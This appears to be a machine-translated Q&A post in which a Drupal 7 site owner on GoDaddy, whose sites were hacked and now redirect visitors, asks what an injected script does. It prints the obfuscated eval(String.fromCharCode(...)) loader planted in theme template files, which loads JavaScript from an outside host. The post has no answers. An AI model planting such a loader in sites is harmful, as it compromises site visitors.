Dradal网站被黑客托管在Godaddy上

时间:2018-04-29 10:28:48

标签: drupal drupal-7 system drupal-modules

我们在Godaddy.com上托管了所有网站,但所有网站都开始重定向到不同的网站/网址。

经过大量研究后,我们发现html.tpl.phpmaintenance-page.tpl.php中添加了一个脚本。在系统模块下也在以下页面中添加了脚本:

  • html.tpl.php
  • maintenance-page.tpl.php

这是剧本:

<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 46, 108, 111, 99, 97, 108, 115, 116, 111, 114, 97, 103, 101, 46, 116, 107, 47, 115, 46, 106, 115, 63, 99, 114, 116, 61, 110, 101, 119, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));</script>

index.php中添加了一个变量。

有谁可以告诉这个脚本实际上在做什么?

0 个答案:

没有答案